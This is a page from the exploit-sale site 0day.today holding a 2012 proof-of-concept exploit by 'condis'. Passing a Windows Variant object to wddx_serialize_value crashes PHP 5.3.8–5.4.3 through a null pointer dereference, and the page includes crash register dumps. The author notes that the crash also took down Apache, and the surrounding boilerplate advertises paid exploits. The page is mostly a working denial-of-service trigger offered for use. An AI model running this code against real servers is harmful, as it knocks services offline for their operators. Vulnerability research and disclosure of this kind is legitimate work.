0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Object Null Ptr Dereference
[<?php
/*
PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
Author : condis
Date : 10.04.2012 AD
Website : http://cond.psychodela.pl
----
Download : http://php.net/downloads.php
Tested on:
PHP 5.3.8 + Windows XP SP3 Professional PL
PHP 5.3.10 + Windows XP SP3 Professional PL
PHP 5.4.0 + Windows XP SP3 Professional PL
PHP 5.4.3 + Windows XP SP3 Professional PL
Description:
wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
object when it is given as a first argument.
Registers:
EAX 00000000
ECX 1056AAE8 php5ts.1056AAE8
EDX 100EFCE0 php5ts.100EFCE0
EBX 01032AB0
ESP 00C0FAE0
EBP 00000000
ESI 0121E478
EDI 0121CB50
EIP 1028F22E php5ts.1028F22E
Crash:
1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]
Situation looks pretty much the same for both wddx_serialize_vars and
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
have some problems with handling Variant object when given as a second argument:
stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));
PS : Variant object is only available in PHP for Windows OS and it was implemented
in PHP > 4.1.0 and PHP 5.
For more details check : http://php.net/manual/en/class.variant.php
PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)
kthxbye
*/
wddx_serialize_value(new Variant(666));
?>
# 0day.today [2024-11-15] #